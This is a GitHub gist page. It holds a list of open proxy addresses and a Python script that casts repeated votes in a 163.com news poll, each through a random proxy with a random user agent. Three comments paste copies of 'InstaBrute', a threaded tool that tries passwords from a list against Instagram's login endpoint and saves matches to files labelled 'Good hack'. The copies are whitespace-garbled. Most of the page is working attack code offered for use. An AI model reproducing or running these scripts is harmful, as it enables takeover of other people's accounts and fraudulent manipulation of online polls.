Skip to content

Instantly share code, notes, and snippets.

@holys
Forked from greatghoul/list.txt
Created May 18, 2013 12:24
Show Gist options
  • Save holys/5604234 to your computer and use it in GitHub Desktop.
Save holys/5604234 to your computer and use it in GitHub Desktop.
60.28.250.194:82
121.15.167.231:8080
122.72.0.6:80
114.80.240.6:808
202.112.114.17:3128
221.176.14.73:80
122.113.28.52:3128
218.247.138.40:80
211.144.76.7:8181
60.190.129.52:3128
210.14.148.4:80
210.14.143.118:80
121.8.166.36:8080
120.90.11.82:8080
218.94.149.114:8080
113.96.239.210:8080
59.34.57.68:8080
112.94.146.31:8080
60.28.219.218:80
119.4.250.97:80
180.137.45.86:8080
121.33.249.170:8080
218.29.54.105:80
202.127.28.67:3128
122.72.33.139:80
123.235.12.118:8080
61.135.208.184:80
123.85.178.21:8000
119.2.3.222:3128
122.72.28.22:80
#-*- coding: utf-8 -*-
import logging
logging.basicConfig(level=logging.DEBUG)
import urllib2, random
proxy_list = []
HEADERS = [
('Accept', '*/*'),
('Accept-Charset', 'UTF-8,*;q=0.5'),
('Accept-Encoding', 'gzip,deflate,sdch'),
('Accept-Language', 'zh-CN,zh;q=0.8'),
('Cache-Control', 'no-cache'),
('Connection', 'keep-alive'),
('Host', 'vote.news.163.com'),
('Pragma', 'no-cache'),
('Referer:http', '//2012.163.com/special/olympicidol/'),
]
USER_AGENT_LIST = (
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3',
'Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070803 Firefox/1.5.0.12',
'Opera/9.27 (Windows NT 5.2; U; zh-cn)',
'Opera/8.0 (Macintosh; PPC Mac OS X; U; en)',
'Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13',
'Mozilla/5.0 (iPhone; U; CPU like Mac OS X) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.3',
'Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13',
'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.8 (KHTML, like Gecko) Chrome/23.0.1246.0 Safari/537.8',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6',
)
def read_proxy_list():
for line in open('list.txt'):
proxy_list.append(line.strip())
def random_proxy():
return 'http://' + random.choice(proxy_list)
def rate():
proxy = random_proxy()
logging.info('Proxy: %s', proxy)
proxy_handler = urllib2.ProxyHandler({"http": proxy})
opener = urllib2.build_opener(proxy_handler)
headers = HEADERS[:]
headers.append(('User-Agent', random.choice(USER_AGENT_LIST)))
opener.add_headers = headers
url = 'http://vote.news.163.com/vote2/djsonpVote.do?voteid=17417&itemid=84527&callback=jsonp134640913%d' % random.randint(1000, 9999)
logging.info('Rating %s', url)
req = urllib2.Request(url)
resp = opener.open(req, timeout=10)
logging.info(resp.read())
if __name__ == '__main__':
read_proxy_list()
for i in range(10):
try:
rate()
except Exception as e:
logging.warn(e)
@bmos-5
Copy link

bmos-5 commented Oct 4, 2022

from future import absolute_import
from future import print_function
import requests, sys, threading, time, os, random
from random import randint
from six.moves import input

CheckVersion = str (sys.version)
import re
from datetime import datetime

print ('''
\033[1;36m


| / | | | ()
| \ / |
_ _ __ | |_ __ _ _____ _ __
| |/| | | | | '_ | / |_ / | '__| | | | | |_| | | | | |_ (_| |/ /| | | |_| |_|\__,_|_| |_|\__\__,_/___|_|_| ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \|_|/ Author: MUNTAZIR /. .\ Version: 1v =\_Y_/= Telegram: @FN_OFO {>o<} Insta: 6j.9v \033[1;32m _ _ (_) | | _ _ __ ___| |_ __ _ | | '_ \/ __| __/ _ |
| | | | _
\ |
(| |
|
|| ||
/__,_|
\033[1;36m
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
''')

class InstaBrute (object):
def init(self):

    try:
        user = input (' USER [➪] : ')
        Combo = input ('pass List [➪] : ')
        print ('\n--{@FN_OFO}---')
		
    except:
        print (' The tool was arrested exit ')
        sys.exit ()

    with open (Combo, 'r') as x:
        Combolist = x.read ().splitlines ()
    thread = []
    self.Coutprox = 0
    for combo in Combolist:
        password = combo.split (':')[0]
        t = threading.Thread (target=self.New_Br, args=(user, password))
        t.start ()
        thread.append (t)
        time.sleep (0.9)
    for j in thread:
        j.join ()

def cls(self):
    linux = 'clear'
    windows = 'cls'
    os.system ([linux, windows][os.name == 'nt'])

def New_Br(self, user, pwd):
    link = 'https://www.instagram.com/accounts/login/'
    login_url = 'https://www.instagram.com/accounts/login/ajax/'

    time = int (datetime.now ().timestamp ())

    payload = {
        'username': user,
        'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}',
        'queryParams': {},
        'optIntoOneTap': 'false'
    }

    with requests.Session () as s:
        r = s.get (link)
        r = s.post (login_url, data=payload, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.instagram.com/accounts/login/",
            "x-csrftoken": 'ZxKmz4hXp6XKmTPg9lzgYxXN4sFr2pzo'
        })
        print (f'{user}:{pwd}\n\033[1;32m----------------------------')


        if 'checkpoint_url' in r.text:
            print (('' + user + ':' + pwd + ' --> Good hack '))
            with open ('good.txt', 'a') as x:
                x.write (user + ':' + pwd + '\n')
        elif 'two_factor_required' in r.text:
            print (('' + user + ':' + pwd + ' -->  Good It has to be checked '))
            with open ('results_NeedVerfiy.txt', 'a') as x:
                x.write (user + ':' + pwd + '\n')

InstaBrute(Theoldcastledesign)

@Assa900
Copy link

Assa900 commented May 21, 2024

from future import absolute_import
from future import print_function
import requests, sys, threading, time, os, random
from random import randint
from six.moves import input

CheckVersion = str (sys.version)
import re
from datetime import datetime

print ('''
\033[1;36m


| / | | | ()
| \ / |
_ _ __ | |_ __ _ _____ _ __
| |/| | | | | '_ | / |_ / | '__| | | | | |_| | | | | |_ (_| |/ /| | | |_| |_|\__,_|_| |_|\__\__,_/___|_|_| ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \|_|/ Author: MUNTAZIR /. .\ Version: 1v =\_Y_/= Telegram: @FN_OFO {>o<} Insta: 6j.9v \033[1;32m _ _ (_) | | _ _ __ ___| |_ __ _ | | '_ \/ __| __/ _ |
| | | | _
\ |
(| |
|
|| ||
/__,_|
\033[1;36m
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
''')

class InstaBrute (object):
def init(self):

    try:
        user = input (' USER [➪] : ')
        Combo = input ('pass List [➪] : ')
        print ('\n--{@FN_OFO}---')
		
    except:
        print (' The tool was arrested exit ')
        sys.exit ()

    with open (Combo, 'r') as x:
        Combolist = x.read ().splitlines ()
    thread = []
    self.Coutprox = 0
    for combo in Combolist:
        password = combo.split (':')[0]
        t = threading.Thread (target=self.New_Br, args=(user, password))
        t.start ()
        thread.append (t)
        time.sleep (0.9)
    for j in thread:
        j.join ()

def cls(self):
    linux = 'clear'
    windows = 'cls'
    os.system ([linux, windows][os.name == 'nt'])

def New_Br(self, user, pwd):
    link = 'https://www.instagram.com/accounts/login/'
    login_url = 'https://www.instagram.com/accounts/login/ajax/'

    time = int (datetime.now ().timestamp ())

    payload = {
        'username': user,
        'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}',
        'queryParams': {},
        'optIntoOneTap': 'false'
    }

    with requests.Session () as s:
        r = s.get (link)
        r = s.post (login_url, data=payload, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.instagram.com/accounts/login/",
            "x-csrftoken": 'ZxKmz4hXp6XKmTPg9lzgYxXN4sFr2pzo'
        })
        print (f'{user}:{pwd}\n\033[1;32m----------------------------')


        if 'checkpoint_url' in r.text:
            print (('' + user + ':' + pwd + ' --> Good hack '))
            with open ('good.txt', 'a') as x:
                x.write (user + ':' + pwd + '\n')
        elif 'two_factor_required' in r.text:
            print (('' + user + ':' + pwd + ' -->  Good It has to be checked '))
            with open ('results_NeedVerfiy.txt', 'a') as x:
                x.write (user + ':' + pwd + '\n')

InstaBrute()

@Assa900
Copy link

Assa900 commented May 21, 2024

from future import absolute_import
from future import print_function
import requests, sys, threading, time, os, random
from random import randint
from six.moves import input

CheckVersion = str (sys.version)
import re
from datetime import datetime

print ('''
\033[1;36m


| / | | | ()
| \ / |
_ _ __ | |_ __ _ _____ _ __
| |/| | | | | '_ | / |_ / | '__| | | | | |_| | | | | |_ (_| |/ /| | | |_| |_|\__,_|_| |_|\__\__,_/___|_|_| ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \|_|/ Author: MUNTAZIR /. .\ Version: 1v =\_Y_/= Telegram: @FN_OFO {>o<} Insta: 6j.9v \033[1;32m _ _ (_) | | _ _ __ ___| |_ __ _ | | '_ \/ __| __/ _ |
| | | | _
\ |
(| |
|
|| ||
/__,_|
\033[1;36m
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
''')

class InstaBrute (object):
def init(self):

    try:
        user = input (' USER [➪] : ')
        Combo = input ('pass List [➪] : ')
        print ('\n--{@FN_OFO}---')
		
    except:
        print (' The tool was arrested exit ')
        sys.exit ()

    with open (Combo, 'r') as x:
        Combolist = x.read ().splitlines ()
    thread = []
    self.Coutprox = 0
    for combo in Combolist:
        password = combo.split (':')[0]
        t = threading.Thread (target=self.New_Br, args=(user, password))
        t.start ()
        thread.append (t)
        time.sleep (0.9)
    for j in thread:
        j.join ()

def cls(self):
    linux = 'clear'
    windows = 'cls'
    os.system ([linux, windows][os.name == 'nt'])

def New_Br(self, user, pwd):
    link = 'https://www.instagram.com/accounts/login/'
    login_url = 'https://www.instagram.com/accounts/login/ajax/'

    time = int (datetime.now ().timestamp ())

    payload = {
        'username': user,
        'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}',
        'queryParams': {},
        'optIntoOneTap': 'false'
    }

    with requests.Session () as s:
        r = s.get (link)
        r = s.post (login_url, data=payload, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.instagram.com/accounts/login/",
            "x-csrftoken": 'ZxKmz4hXp6XKmTPg9lzgYxXN4sFr2pzo'
        })
        print (f'{user}:{pwd}\n\033[1;32m----------------------------')


        if 'checkpoint_url' in r.text:
            print (('' + user + ':' + pwd + ' --> Good hack '))
            with open ('good.txt', 'a') as x:
                x.write (user + ':' + pwd + '\n')
        elif 'two_factor_required' in r.text:
            print (('' + user + ':' + pwd + ' -->  Good It has to be checked '))
            with open ('results_NeedVerfiy.txt', 'a') as x:
                x.write (user + ':' + pwd + '\n')

InstaBrute(pxf2_)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment